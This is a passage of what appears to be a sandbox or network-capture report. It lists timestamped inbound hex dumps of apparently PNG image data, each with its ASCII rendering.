28 38 02 22 56 07 fa ae 31 dd 9d 7f cd 3a bb 7a 46 7d 3b 3a eb aa 7a 36 64 d9 67 19 27 56 1c 80 d1 ba c1 3d b6 37 93 
1a 32 63 f6 03 4f 05 99 96 ce 60 b5 24 77 f9 19 f1 1e 64 b4 86 fb 3c c3 fd 0f c7 83 d4 a9 00 00 20 00 49 44 41 54 df 3e be 
f9 ee 87 af 5f be 98 67 b8 1b 22 6e ab b7 04 e0 e5 f1 96 0d f2 59 bb 71 0a c3 bb c1 b5 19 db 38 b9 64 c6 0a ed 7a 49 c6 
d9 30 af 40 18 d7 fb 2b b2 01 10 06 9f 14 53 d9 45 79 56 1d 61 3d a3 b6 94 92 57 8a 1d be 42 76 e5 cd 6c 02 ab 1a 4a 52 
de c9 61 26 4e 45 49 8f be b4 e1 a8 28 16 64 85 4e da 6e d8 80 6d ab 44 9d 34 5b 90 8f 29 a0 f4 d9 01 c7 ef 2d b9 9f 99 
da 3d 8b d9 6b b8 cf 40 d0 28 f7 1f e6 cd db 50 09 c1 da 
Data Ascii: rKVVEQ` X{yxn[*ZV(8"V1:zF};:z6dg'V=72cO`$wd< IDAT>_g"nYq8dzI0@+SEyVa=WBvlJRa&NEI(dNnmD4[)-
=k@(P

2022-08-11 03:43:02 UTC 11613 IN Data Raw: 67 e9 be a0 5e e5 7f f3 c7 b3 f1 59 9e 8a f0 e9 70 30 a0 d2 6c df a6 7b 08 b3 47 a6 f0 88 1b 68 0a 7d 60 79 46 
73 2a 09 7d 2a cf 18 4e 6b a1 41 0d 85 5e 95 8b 4d 3e 55 04 1e e1 99 dd ed 30 28 12 07 f9 54 0d 77 bb 4b a1 da 74 df 
62 0f 58 bc 48 59 b3 58 e8 15 ce 9e be ec 75 09 9f e1 da 54 20 26 2c b8 d4 50 62 45 2a de 27 fc ac 17 a0 23 bc 66 a2 96 
8b 6b 40 42 56 8f 2e 7b ab 86 61 62 9e 00 00 20 00 49 44 41 54 20 a8 45 72 b7 e1 9e aa fe 12 b8 02 d9 a1 86 7b 55 7d 
cb 1f 04 29 74 31 90 20 7b 0d 21 85 9d 07 2a e2 43 dd 13 09 ce fa 02 b4 09 60 47 a3 e1 de fb d2 c7 0e f3 31 a6 fd e7 68 
aa 8f 6b 6d a7 ba dc 22 8e 75 d3 5a da 6b 2d 83 72 8a 2e 13 67 c3 fd 14 45 c7 a9 45 70 fc 3a fe ff c4 99 76 d9 d9 70 b7 
13 c6 06 1e cb 85 c2 20 88 e8 14 98 0b c1 23 b5 05 a7 4d 91 
Data Ascii: g^Yp0l{Gh}`yFs*}*NkA^M>U0(TwKtbXHYXuT &,PbE*'#fk@BV.{ab IDAT Er{U})t1 {!*C`G1hkm"uZk-r.gEEp:vp 
#M

2022-08-11 03:43:02 UTC 11693 IN Data Raw: 0b 59 c6 4c be 49 fd 38 e6 c3 74 f2 35 30 d8 82 7c 7c 3e 68 d7 20 3c df a6 a3 1b 84 9a 4d 02 24 c9 00 eb e4 
e7 8e 60 44 a9 18 d5 ef e4 83 52 f9 f4 36 60 ea 93 ea 9b 74 2c 9c 1a b0 9f 60 e8 85 55 6c 7d e1 fb 7b d2 7e 8d 1f 12 70 
7d 5c 7a cb ee d3 b9 2e 44 07 51 6b cf 33 10 5f ff 93 b4 59 66 fd 66 da b7 f4 4b 86 54 ad 77 6c ff c1 e7 6b 3a ad b2 7b f0 
45 36 43 a8 3b a9 27 27 15 07 67 bd 59 cb dc 4c 89 63 3e ea 5b c8 f2 a6 b5 0e fe 62 a0 1d 0f df 6d 08 ca 75 00 00 20 00 
49 44 41 54 48 17 b8 a2 e7 69 da 78 7e 29 b5 0c 07 55 19 d0 1d f5 82 d6 0d 9a 21 93 d8 96 49 06 5f 56 c8 7d 46 a4 80 
5e e9 a3 20 89 b6 5e 98 84 ec cb 55 a7 2c 7b 7c 74 15 01 ee c4 1f cd 14 9d eb dd 7e 64 a9 04 21 76 51 7b ca a2 f4 9d 47 
91 39 eb 4e 92 a3 d2 16 8a 09 26 d4 05 ba db c0 ba 69 56 
Data Ascii: YLI8t50||>h <M$`DR6`t,`Ul}{~p}\z.DQk3_YffKTwlk:{E6C;''gYLc>[bmu IDATHix~)U!I_V}F^ ^U,{|t~d!vQ{G9N&iV

2022-08-11 03:43:02 UTC 11709 IN Data Raw: 7d 20 26 da 89 a3 8b 76 a9 09 af c0 47 4a 7d 91 ee 09 dc 18 c9 f4 ef f3 8b b8 fd 10 35 31 a2 47 43 9f a1 51 20 
79 44 25 4e 79 da 47 14 f1 dd 38 b4 07 e6 3e 74 1b a5 83 a9 76 9a 2a a7 36 fe 87 40 37 dd 24 c5 c8 51 05 94 0f 37 36 d5 
03 89 3f 7a 19 b6 9e 78 0d 06 6f 9e 26 30 bd 79 cf 7e 58 f8 e4 fb a1 75 f7 01 8a c6 26 80 8f a2 a5 95 f3 4d 00 24 3a f1 fa 
71 43 74 ca c9 49 1f 12 d8 d6 3f 79 0e ba 2f 1e 83 de 2b 27 60 70 ea 3c 0c 97 37 44 94 fd 98 f2 a2 d7 f7 5e 0d 9d 0f de 06
ed 7b 6f 86 fa 15 8b ea 71 51 4c a5 31 40 d0 17 c1 9c 00 00 20 00 49 44 41 54 e0 57 81 7b 08 fc 21 48 9c 34 e7 e8 b3 f5 
27 5f 84 95 6f fc 15 74 5f 3b 49 1b 8a a4 d3 14 80 bb e5 84 0c 47 30 5c c3 68 f6 2e b4 ee dc 07 3b 7f f9 a7 a1 b5 6f 1f 8c 
46 3d 18 6d ad f3 29 0a 83 88 94 52 a6 0e d5 
Data Ascii: } &vGJ}51GCQ yD%NyG8>tv*6@7$Q76?zxo&0y~Xu&M$:qCtI?y/+'`p<7D^{oqQL1@ IDATW{!H4'_ot_;IG0\h
.;oF=m)R

2022-08-11 03:43:02 UTC 11725 IN Data Raw: a8 de bf 04 85 66 85 41 73 b1 c9 a4 68 6e a4 cc cd 36 52 d0 22 c6 a0 c4 e0 27 de 73 30 b8 d1 82 fd 57 6f c1 
de 4f 6f 90 9e e3 06 c7 d2 f7 cf 43 fd 89 e3 cc b1 ff 9b 7b d0 b9 72 0f c6 9b 7d 7a 9e 00 6c 7c af f1 cf 8c ed 92 cd 60 4a 98 
29 ea 4f 77 0c 85 e5 32 2c 7e e7 1c 34 bf 73 06 ca 27 1a 30 d9 ed 43 e7 77 9b d0 7a ed 36 b4 df 5c a7 b6 94 4f d5 a1 79 
f9 24 2c 7e e7 2c d4 bf 7e 8c 37 74 90 16 4a 9e 46 a1 23 e9 69 d9 f6 3c bf 10 ec a6 0d af f1 0c 46 9b 1d e8 be b7 01 ad 
d7 ef 40 ff 93 5d 18 b7 47 24 df 3c 9e 74 71 da 19 63 a0 70 e3 a0 8f 1c 82 78 92 a5 0e 8d 27 8e 41 e5 6c 93 94 76 d2 7a 
46 6e 2d 00 00 20 00 49 44 41 54 1e d3 69 09 b4 09 c8 ed 5f 39 dd 80 da 43 cb 50 3e 89 f3 03 b3 f4 f1 22 58 cd f0 90 a2 
63 26 20 9e ba e1 13 1b 38 5f 46 eb 1d e8 7e bc 03 
Data Ascii: fAshn6R"'s0WoOoC{r}zl|`J)Ow2,~4s'0Cwz6\Oy$,~,~7tJF#i<F@]G$<tqcpx'AlvzFn- IDATi_9CP>"Xc& 8_F~

2022-08-11 03:43:02 UTC 11741 IN Data Raw: ab 77 75 39 58 b5 88 bd 1f b5 8c 99 20 56 10 d4 fe 95 c4 4a f1 91 8c 99 80 ec f4 36 8e 21 ff e2 41 d5 eb be 36 
dc 11 85 7f 1e 30 95 8e 99 b7 65 ee c9 15 8e 8f c0 9d 04 e9 e2 b5 a7 c5 05 fa 54 0f 95 68 15 ec 6e ac 25 b6 2d d9 0d 98 
07 bb df b8 33 80 bb 4c e8 d4 4d d8 46 18 63 09 d5 6e ba 15 9f d0 af 1a d7 26 ca 2d fe 58 5d 6f 5d ad 47 76 b6 a1 36 73 
d7 dd fc f2 d8 d2 d6 a9 10 fb 1d ab 1e fd d5 1a 3f 9e 5b f2 cf 50 4e 9a 85 4a cf 1d ad b8 24 62 b6 2a b9 84 3b 3d 97 6d ff 
61 37 2a 75 92 c4 d6 e8 a9 1d c5 0d 69 4a 0c e4 93 5f b2 78 b3 2e 0f 97 f8 88 4e 0a f3 c6 34 81 ee c6 47 9a e3 da e1 1a 
7d 7d 3a ab f6 a7 f6 d3 7d ce 37 3f 7d ee 36 16 9b ad 62 47 83 63 1c c1 15 f4 db 00 00 20 00 49 44 41 54 52 0a a7 61 f1 
80 88 5f 68 4c 65 a7 a1 06 0c f3 09 50 8d 5a 44 19 
Data Ascii: wu9X VJ6!A60eThn%-3LMFcn&-X]o]Gv6s?[PNJ$b*;=ma7*uiJ_x.N4G}}:}7?}6bGc IDATRa_hLePZD

2022-08-11 03:43:02 UTC 11757 IN Data Raw: f3 7f bd 5f 5e 4d 5c 21 fb f4 31 36 21 d8 70 c2 75 f4 42 55 cc 7a b3 4f 24 c8 e2 14 e5 8d 59 66 b4 f9 c1 c0 bb 
95 99 15 96 49 cc 16 a4 b9 91 d5 64 7e 16 6f 75 d9 f2 ae 31 ed b2 eb 6b b5 2b c5 e8 7b 1a 4d 93 d0 a7 eb 96 05 f3 15 9d 
34 3d 3c 83 68 70 ea 1e d3 cc 04 22 75 dc b6 b2 a8 32 00 e4 70 47 d0 7d 77 ef 14 3e b8 b6 cf 1c ee bd 32 dc 6d 23 13 
09 a0 53 1b 9a 24 cf d8 18 9b 42 9c 07 03 16 b9 e1 93 e4 15 db 71 75 f9 27 fe 2e a9 d5 a9 22 a8 e9 83 63 f1 57 52 b5 e6 
9c 9c 05 48 da 40 25 bb 1f 2e 4a 7a ad 20 37 01 67 0c 9a 01 82 72 68 07 f1 92 48 cc 64 bf 6b 01 e3 2b 98 25 ba 84 e1 d5 
12 f2 8b 15 51 c9 50 a6 a6 00 72 14 77 23 b0 a4 59 ed 81 f9 45 3c e5 0a 3c 12 27 a7 70 97 23 ad 04 be 43 17 d4 72 db 
ec 8d e5 da 49 b1 68 cd fc c0 82 5f 30 b3 00 00 20 00 49 44 
Data Ascii: _^M\!16!puBUzO$YfId~ou1k+{M4=<hp"u2pG}w>2m#S$Bqu'."cWRH@%.Jz 7grhHdk+%QPrw#YE<<'p#CrIh_0 
ID

2022-08-11 03:43:02 UTC 11773 IN Data Raw: 76 3c 98 5c 8b 47 50 98 a4 37 a8 54 f4 32 ea b5 d1 e0 07 73 a0 62 3b 9e ea 85 93 b1 c5 7c c0 0f 63 bf e4 6b 
e9 4f fd 16 7a 42 ff 8d 6f 97 4f fe ea 03 16 04 bf f9 c3 b7 cb cf fe d7 d2 5f 19 54 af 9c f4 2d 27 62 cb 2b 5f 54 f0 ec 75 e3 06
a7 91 25 7d fc 6f 9a 47 d3 58 6e 8e bf 42 c1 7d 08 de dc 8b 4d 24 20 34 8d 4d c7 5a 36 05 f2 72 e8 5b 57 72 11 18 70 0e 
be 7d f5 5c fe c1 e6 58 f8 ad 6a 7a ec 84 28 4c a2 84 b0 67 d8 da df ae 02 c6 a1 72 a3 c3 2f 1d 65 05 f2 c1 a9 10 22 85 50
6c 29 52 1f 20 bd fd 4b 4f cb af fe 57 1f 96 5f f8 77 a1 d5 0f 9c 5e 3f 63 31 15 4e 38 7f fc d7 e7 e5 9b ff fb 6e f9 f6 5f 5d b0 
a7 36 d6 a3 f0 60 74 29 9a 42 61 1e 0a bb a8 37 80 1f 14 dc 6b 9b 92 d3 05 7a b5 b3 75 a5 5c 37 fa 96 b1 e0 5e 79 58 4f 
3d 50 91 1d ff 04 7c 6b 1b 9e 52 e4 
Data Ascii: v<\GP7T2sb;|ckOzBoO_T-'b+_Tu%}oGXnB}M$ 4MZ6r[Wrp}\Xjz(Lgr/e"Pl)R KOW_w^?c1N8n_]6`t)Ba7kz
u\7^yXO=P|kR

2022-08-11 03:43:02 UTC 11789 IN Data Raw: b6 90 0d 0f 2e 49 8e a4 92 98 ba 9a 1a 10 7d 16 47 cb 75 df ab c9 e0 8c c2 0a ae bc 96 23 31 85 a1 7c c1 f8 
bd b9 10 d9 81 cd f3 e7 d5 0b eb 83 6a 88 0f 22 dd 0b ad d7 d8 54 19 16 87 e0 c6 a3 d1 5b ed 1e e7 bd ba 8a b9 3c e9 
1d 36 16 dc 6f d0 93 6c 9d 14 ea dc d6 e4 ad 72 51 16 a2 a6 74 4e a1 2d 54 81 99 07 26 22 9e a9 45 b3 21 41 f2 31 c0 
bd 3e b6 94 b9 ac 97 a6 22 0c 43 37 b9 b6 b9 af 2f 8a 5e 81 2f a1 6c 8a bf 8d f4 59 35 d9 c8 8e 5b 74 eb 79 a9 5e 08 25 
23 a1 66 9d 6e ce 12 69 0c 4d 86 71 59 c4 9d f8 37 d3 ca 45 d0 32 14 dc 03 d4 db 9b 50 bb 3c 96 3f 79 da fc 91 8d 5d 50 
ab 1b 00 85 b7 d6 7e aa 5b d4 89 11 d1 de 86 15 ec 22 2d 58 b9 60 ac 47 1f 1b 80 ac 87 25 be 7b ce 63 95 13 71 42 7f a
3 ec 34 75 60 83 71 4b fa 0c c9 be 08 25 d5 c1 44 93 46 6e b4 65 
Data Ascii: .I}Gu#1|j"T[<6olrQtN-T&"E!A1>"C7/^/lY5[ty^%#fniMqY7E2P<?y]P~["-X`G%{cqB4u`qK%DFne

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:02 UTC 11871 IN Data Raw: 4b 6d c6 3b ee d0 b5 09 fa 72 00 fb 44 03 9b a2 b5 2d 78 65 1f 4c 33 08 fb 65 a9 f4 0d 7a df 6b 24 38 76 80 65 
9e ae 8f b4 b2 52 80 bb ef 20 38 a0 01 7b f7 76 bf 86 54 14 e0 6e 1b ae f5 4c 1b 31 af 50 f6 50 0d 9a 8e 0a fa 42 de 3c 17 
93 6d ed 5c bc ab dc e5 a6 87 bb 41 7a df 68 5c e7 b5 3e 78 35 ce b2 99 9e f7 71 b6 5c 9c 67 68 af d1 19 21 ad 6c 46 f3 
52 82 bd dc 25 2a 92 9d 40 74 4e f7 41 5d 26 58 0d cf ee a0 dd a2 89 fe 15 36 a1 01 08 60 5b 17 ae a5 24 27 26 cf a0 5d 
dd 1a 0f db 64 4f 18 5b 30 1f da ed 68 c2 cc 9c a2 a9 b3 65 9c d2 29 65 76 ff b2 3b 87 7b 1c 1e 5a ea 33 3d a5 8d d1 9d 
0d 6a 3f 44 b5 e3 b5 4f a2 26 1b d5 9e d7 6c 55 cf fb ec a6 80 76 3a 71 ac e7 50 a6 50 13 b0 f1 b6 02 48 a8 08 57 87 0e 
76 ad 96 80 ab 0c 7c 98 87 9c ae ab 59 87 0e 44 74 
Data Ascii: Km;rD-xeL3ezk$8veR 8{vTnL1PPB<m\Azh\>x5q\gh!lFR%*@tNA]&X6`[$'&]dO[0he)ev;{Z3=j?DO&lUv:qP
PHWv|YDt

2022-08-11 03:43:03 UTC 11887 IN Data Raw: c6 35 b3 34 e8 6e 18 8d 3a a3 04 a5 3e 8e 70 1e 59 da 78 c2 09 bb e4 25 ef 71 dd bc a7 5c 73 6e 36 f1 1e dd 
bc 7a 6b d0 80 bb 17 a8 f6 02 db d1 03 8b f1 44 1c ea 7b 56 df c6 bc a6 a7 6b e0 38 c3 fa 8a ba 31 0c 12 e8 71 c6 ef 21 
83 4c 47 51 d7 59 f1 1e ad 52 12 20 b4 71 8c db 3a 6e 81 80 2c 3a 98 53 e8 79 95 bc 88 d3 c8 ae bb 10 23 f7 dd 8e d2 
1d 9b 91 5e be 82 b2 9f 1b 80 3b bb 4c 0b e0 c3 29 65 54 0e f7 c7 9e c2 dc 23 8f a1 fe e1 61 2e 0c 97 2c 15 f9 90 2e 23 
37 ec 6c 55 c4 d4 49 41 22 99 45 7c 58 8a 8d bc 5c 60 94 f3 9d 77 38 a5 4c ee ea 0d 18 a1 a2 a9 ae 1c ee aa c2 b2 a2 
a1 14 e5 12 85 a0 3d dc 4f 7d 43 a7 94 f1 03 ee 42 1f 77 41 c5 28 7d 60 48 6a f7 ca a9 7e 7d 5c ad 3d 1e 75 ee f6 b1 11 
8c ff ca 67 31 f2 99 7b 90 ca 15 18 f0 a0 54 32 da 5b 5f 52 c4 
Data Ascii: 54n:>pYx%q\sn6zkD{Vk81q!LGQYR q:n,:Sy#^;L)eT#a.,.#7lUIA"E|X\`w8L=O}CBwA(}`Hj~}\=ug1{T2[_R

2022-08-11 03:43:03 UTC 11903 IN Data Raw: 5e c5 70 5f c7 1a ee 2c 89 42 c0 b3 62 0b b5 25 c1 5a 1c c4 77 f6 e5 c3 98 fd fe bb a8 5e ba 05 d0 8d 0f 1a 23 
74 cb 21 11 45 6a f7 06 8c fd f2 53 e8 7f 68 07 8f 6b 4b 16 48 3b e8 15 e0 ce f2 28 a1 10 2a 13 93 98 fe fe bb 98 fe c6 eb 
68 5c 9d 66 e6 38 dd e0 1a fc dc 03 58 f6 f7 3f 87 f4 5d 1b 24 56 00 49 c2 f1 7a a7 89 f7 04 dc 47 11 89 13 e0 de 87 85 89 
8b b8 f0 1b bf cf 4e 00 02 9f 89 e1 de 0a 02 b8 eb 53 0e cd 35 1a cb 15 b9 49 d3 0e f6 aa d7 0b ed d0 27 a0 ba c6 52 2c 
54 fe cc c3 db 31 fa 4b 8f 23 fb c4 6e 44 87 33 6c 5f c9 86 f1 fb 1a ac 66 87 5b 1a 24 c7 9f ff e0 38 ae ff fe 77 51 78 e7 0c 
b3 ce a3 03 14 34 99 82 da 8a 93 b1 55 af a2 b1 50 42 33 5f 42 a3 40 01 98 9b dc ae b1 f1 21 c4 b7 ae 42 e6 be 2d e8 bf 
7f 13 92 1b 57 22 3a 98 16 9d 7e 76 aa 86 
Data Ascii: ^p_,Bb%Zw^#t!EjShkKH;(*h\f8X?]$VIzGNS5I'R,T1K#nD3l_f[$8wQx4UPB3_B@!B-W":~v

2022-08-11 03:43:03 UTC 11919 IN Data Raw: df a4 0a fe bd df f0 09 9e 92 f4 c5 9d fc 58 e4 0b 6b 4f a0 72 bb 13 20 85 ef b9 4b 3d e0 53 65 1e 83 c6 33 b7 
3f 80 aa cb 9e ab d7 ae 70 39 fc de b6 7e d4 ac 6d bd d6 ca 42 7e db 92 77 4b cd b6 ed 73 64 d5 b1 17 b0 1d 6b 74 9f 3a 
9e f2 62 b6 eb 5a 38 f7 80 16 f1 49 57 da 71 76 ea 68 ef 2e df bb 6d bd 8d d6 e3 a4 9c 47 33 fe 9b fc d1 16 ff c6 39 4f 9c 
f3 68 91 bd e2 dc 66 77 6c bb 7b d9 87 07 29 c3 6d c4 3b 82 64 f7 89 3d 63 9e 3d 5c c6 96 20 75 dd 26 ab 5b 02 3e a5 ef 
a9 2d 7b 7a d8 3d 63 b7 b1 70 1b 92 bd 2d 7d 64 9c af db e9 b9 14 ce d9 cc 8b 2d bf 1b 26 73 27 d6 32 47 e3 04 2d ae ef 
12 e8 6c 74 bf 84 f9 98 a2 00 f7 0e 5b 24 00 34 11 91 74 4c 3e 49 de 27 51 bf 3c 5d 06 86 dd 5c da 13 90 ef 1c 06 55 a5 
61 d0 f1 7a 1b 6e 1a 74 8f c6 18 a3 d0 24 19 3a 83 
Data Ascii: XkOr K=Se3?p9~mB~wKsdkt:bZ8IWqvh.mG39Ohfwl{)m;d=c=\ u&[>-{z=cp-}d-&s'2G-lt[$4tL>I'Q<]\Uaznt$:

2022-08-11 03:43:03 UTC 11935 IN Data Raw: 91 fc ca b6 c1 38 87 0f cd e1 36 5e 7a ee c3 bf 77 60 bb ba 18 68 1b bb fa d5 18 0a 9b 31 f1 72 9f 72 ef 86 cb 
13 3f 82 b9 98 a0 05 bc 34 b5 ab 94 f1 aa 93 d7 a4 a9 f9 b6 1a 45 16 61 77 e8 90 cf 5b 2e 43 e2 53 bb b2 2c 1d b1 02 44 
36 d3 3b e6 23 e7 51 31 05 4a 69 1d 54 e7 80 5d cf b9 28 c0 cb 4d 62 44 3a ac d8 84 d3 18 e8 6d b4 3e e3 a5 e2 31 b3 
66 5d 4d 9e 86 c3 da 6e 4f 2f 79 7c c8 ae 6c bb 71 1a 29 ce d3 43 43 8f 1e af 7b 95 e3 f8 4e 30 f0 1e bb 3e f1 63 7a 13 3c 
2c b1 49 cb f7 34 cd 76 c3 3e 32 34 93 8f 95 db 6c 72 77 1d fa ec a9 dd ae 83 31 74 de 34 3d ca fa cd 4e cf 9b 27 43 3c 
61 ed b7 bc 37 31 af b9 8d fe e3 24 aa 74 98 96 f7 15 fd 7d 4b e0 e2 c8 88 3a ed 6f 5e f6 3d 27 d9 d9 0b 99 a2 7c 7c 04 
b8 13 bd 8c a2 ff e5 a1 91 d4 9f 1d a2 10 95 ec 1a e3 
Data Ascii: 86^zw`h1rr?4Eaw[.CS,D6;#Q1JiT](MbD:m>1f]MnO/y|lq)CC{N0>cz<,I4v>24lrw1t4=N'C<a71$t}K:o^='||

2022-08-11 03:43:03 UTC 11951 IN Data Raw: ea f4 ab 57 db 70 01 cc 9d b3 dc 07 32 26 74 98 7e 4e 8e 2b 9f 65 77 cb 15 01 dd e5 02 46 e0 50 2e a5 9a 40 
55 40 77 fe 18 8f fe 61 77 5f a5 50 30 95 14 69 7f 21 79 4c 9c a1 8a f4 2f 45 ce 48 0b cc 84 a9 8c 6c 1e 0e b8 bb 31 21 85 
1b 58 a0 b7 49 1d 96 f3 8a 99 9b fe 16 0c 91 e5 11 f7 c4 9c 9e 25 2a 92 b6 9a 06 c7 5f 99 30 f9 21 13 32 d0 dc 8c c3 42 
a1 b6 bb eb 29 b9 2b f3 77 f1 30 23 18 42 7a 18 0f 8b 9f ab 63 9e 80 ef 4c 45 b9 65 cd 45 d8 26 15 ed 9c 6a 61 fd 89 26 
9a 2f b5 51 3b af 8a f9 db a7 31 71 45 4d 3d 34 e9 a9 e6 70 fc c6 94 32 e4 70 6f 76 b0 fe 20 01 f7 5d ec bd 13 0a a0 20 
21 c9 bc 38 8b 97 9d 0e 48 cc d5 9e 77 aa 4e 0e 92 a5 b3 12 40 cc 50 52 90 52 e6 83 65 2c 7c 72 02 13 2e e0 4e 0a 04 
bb ea 84 b3 d6 26 63 a5 07 62 80 e6 cb 3b 78 f7 f7 9b e8 
Data Ascii: Wp2&t~N+ewFP.@U@waw_P0i!yL/EHl1!XI%*_0!2B)+w0#BzcLEeE&ja&/Q;1qEM=4p2pov ] !8HwN@PRRe,|r.
N&cb;x

2022-08-11 03:43:03 UTC 11967 IN Data Raw: 0b bb a3 db fa d6 b0 9d be ac cd b5 00 a0 9a ba d3 da 05 96 76 ac c8 54 80 85 57 65 ae 0a 2d fa 40 6a 8d 23 
37 63 e4 17 8a 36 2f 3e c1 f4 86 b1 07 59 c6 6b b6 70 69 63 3e 98 d7 bd 02 32 22 91 60 76 af 1d fd 20 57 b0 e1 6e 05 89 
46 27 c1 98 e4 ef 05 6b 18 ef b1 bc 01 1c af d4 c2 6f 25 cf 38 67 82 31 0d ac eb 94 be 65 de a9 d3 95 c2 40 09 69 f2 91 
7c 48 ce 21 f1 8e 91 8e 04 26 37 fd ac 01 13 a7 fd c4 20 8d 89 0b 24 b6 43 f7 48 59 78 ba ec 83 71 f3 d3 0a 1d 56 da 88 
eb 6b c4 c7 cf f0 56 35 d8 f0 91 b6 88 ac 7e 3b 20 ee c0 23 23 75 70 f0 e1 f8 ac 13 4f cc 70 99 1f 0a b8 bb fb 70 e6 1c e6 
37 d8 3d 86 e7 3f 6d 2a 72 1e cc 55 d9 09 cc c7 95 c5 f8 ab ac 3d 3e a5 5f f1 a3 29 f3 34 92 76 74 c1 9e c4 8b 52 74 d1 
c1 18 70 14 4e d9 2f e2 b3 51 d1 42 9d 93 90 ec 2f 79 
Data Ascii: vTWe-@j#7c6/>Ykpic>2"`v WnF'ko%8g1e@i|H!&7 $CHYxqVkV5~; ##upOpp7=?m*rU=>_)4vtRtpN/QB/y

2022-08-11 03:43:03 UTC 11983 IN Data Raw: af 2a 38 6c 80 84 7d 07 73 59 12 20 0c 9a e3 30 01 98 31 5d 47 a9 fc 8c 20 da bc 06 ae 53 49 ac 36 68 02 e1 
be 14 ef 31 4e 8a 4b e1 88 35 ec f2 c5 97 30 48 05 67 f8 4b a3 a8 4a 8d 84 df 24 95 ca dd 24 71 34 0b 08 2d 14 d9 77 b9 
0c c6 a1 05 b9 ef 51 ff 34 8e a4 7b ac be 53 1e 70 a7 f1 2a 4e a7 cb d6 2b b3 c2 28 59 d3 97 96 39 54 40 da b8 bc 07 6d 
86 0f a8 9e 9e c2 8c b2 dc 83 03 eb 1d f3 cd 06 76 94 e5 ee 83 05 07 9d 78 c4 60 14 70 9f c3 62 be 68 07 dc 2d 3c 2c 33 
ff e8 9e 5d d8 b4 ec 66 d7 40 79 63 55 ba 27 8d 9e 64 15 93 0c 07 7e 09 c3 06 c4 0e 49 46 ae 45 82 96 a0 5a ca be dc 
00 96 94 c1 0c f7 10 70 7f 11 a3 05 65 c0 9d ae bd d3 b5 f6 1d ec de da c1 1b 18 28 c2 80 fb 5f b8 47 43 dd e3 70 7b 38 
7b cf 0e 6e 7c e7 86 fe 4b 7a e1 22 1c bc 85 c7 be d2 ac c4 
Data Ascii: *8l}sY 01]G SI6h1NK50HgKJ$$q4-wQ4{Sp*N+(Y9T@mvx`pbh-<,3]f@ycU'd~IFEZpe(_GCp{8{n|Kz"

2022-08-11 03:43:03 UTC 11999 IN Data Raw: 93 fe e2 56 20 38 e9 8a c7 5a 23 c4 c4 a0 89 4e 01 ad 85 9d e9 9a d4 a9 a9 bb c2 60 4a 16 4a 83 51 d6 dc e9 
a7 41 83 b4 39 2e 86 e9 c7 ec 92 c8 a1 4d 37 62 78 b5 13 33 db e7 67 67 ae a6 62 b8 e2 be db d1 23 a9 bb cb 2b d8 6f 
b3 47 8c 24 7f ab b6 0c d9 e7 d5 47 ab a3 83 9b 51 65 14 7f a1 5e f6 a5 64 96 18 68 9f b9 72 32 84 bf e7 7f 0c b8 93 bd 
54 6c 95 66 ef 39 7c a3 60 ed e0 1d 81 ee 96 80 8d 69 06 4d 75 58 15 61 27 0d e2 b4 da fc 2a 12 93 07 50 67 88 da bd 
c5 ff ea 28 cf 06 4e 82 55 9c 2a 17 d4 23 c3 a3 0d df c9 2f 39 79 8f 1f 74 57 10 68 7d 1d 64 46 73 97 55 9e 69 3a ea ca 
cb 2d a3 07 af 77 6c e1 2c b1 57 53 77 08 83 25 ed 85 1a 18 5c 10 a9 2d f7 f6 53 00 dc b6 4e 12 58 66 0e 6a 6e 9b 55 e7 
b5 48 ac f8 ef 16 fd ad d9 a8 29 2b 1c c1 3b 04 ae 1e 90 03 0e 
Data Ascii: V 8Z#N`JJQA9.M7bx3ggb#+oG$GQe^dhr2Tlf9|`iMuXa'*Pg(NU*#/9ytWh}dFsUi:-wl,WSw%\-SNXfjnUH)+;

2022-08-11 03:43:03 UTC 12015 IN Data Raw: f0 cb b8 34 5d 2b e3 63 34 28 22 92 f7 68 a7 03 ed 9a ed 2d b0 cb a1 28 18 e9 ae ed f9 af 05 24 63 f8 78 9f bb 
1b ff 42 41 e7 9a cf 54 78 c2 c1 73 f0 46 80 61 d7 66 c0 30 1c 5a c7 2a fc 52 56 63 0a 4e 8b 6e 85 c6 fc c6 d2 cf a7 92 25 
2d a1 74 7b b7 4f 0f a8 da 9b bb f4 48 e2 84 92 88 28 91 88 de 71 0a 1e 70 65 e6 ae 02 ee 3a c3 fd 04 66 b8 37 0d b8 b3 
57 95 e4 8a 9a 63 71 91 bf 3e 2b 81 8d 3a 19 6e 10 24 68 84 cc 68 db 41 9d 12 bf da c6 3f 84 8f 73 b8 23 38 d8 87 3a a7 
12 e8 a6 9d 8d 4c 85 fd 15 81 ea aa 45 b5 17 05 af 1d df c2 73 80 c3 cf dd 49 52 1b b7 28 8a 39 85 57 00 6f 04 e6 2c 75 
63 f2 94 07 cd 23 f2 18 65 7d 32 f2 1f 69 f5 7c c5 84 e0 3a 5f d5 5a 85 34 b6 08 d5 01 ac ed 69 38 fb e2 8d 17 34 a8 d5 
04 8f af 5f ce 71 a8 0b 1d 43 c4 28 3e da 9f cd d8 
Data Ascii: 4]+c4("h-($cxBATxsFaf0Z*RVcNn%-t{OH(qpe:f7Wcq>+:n$hhA?s#8:LEsIR(9Wo,uc#e}2i|:_Z4i84_qC(>

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 12031 IN Data Raw: 16 d4 c3 40 38 3e 55 89 19 a9 c3 4a 13 70 37 72 69 32 e3 d1 4f c0 80 f3 c2 3c cc 1f d8 07 0b c7 8f 41 7f cf 1e 
92 97 e1 ea 2a 0c 2e 5c 24 dd 38 5c be a0 0e 10 29 43 04 83 ee 78 d8 ef 0a 79 75 70 8a df d1 21 85 3e 70 ec 1f dc 0f 3b 
6e be 11 f0 5f 93 e5 8f 87 b3 1b 5f 9f 22 3e 0e 2f 5c 54 f0 ea 12 5c d4 86 6e b3 cd d9 12 6b 34 15 d5 81 37 27 93 c6 3e 
1b 25 ea 06 bc 9d 45 ce c4 2b b4 4a f7 57 28 1d 74 ab ec 7f a4 61 ef e0 7e 58 38 b8 9f f8 42 37 7b cc 01 ff 04 e9 72 85 ec 
11 da db f1 c6 06 c9 84 5d 2b 9e 2c 31 b7 27 42 59 33 07 b1 b1 85 62 7d 12 a7 34 8f fb 50 95 39 a0 b6 2a 5d d3 c1 8c e7 
de 04 08 77 20 e6 ef e8 ce 24 a2 20 b5 6d 32 be 32 75 d7 49 03 24 b3 ee a1 82 e7 53 a9 f1 b6 3d e8 1e 88 69 52 35 67 fc 
d7 54 ec c4 8e 5b 68 32 7c 78 a6 ea 2c b0 3a 55 13 
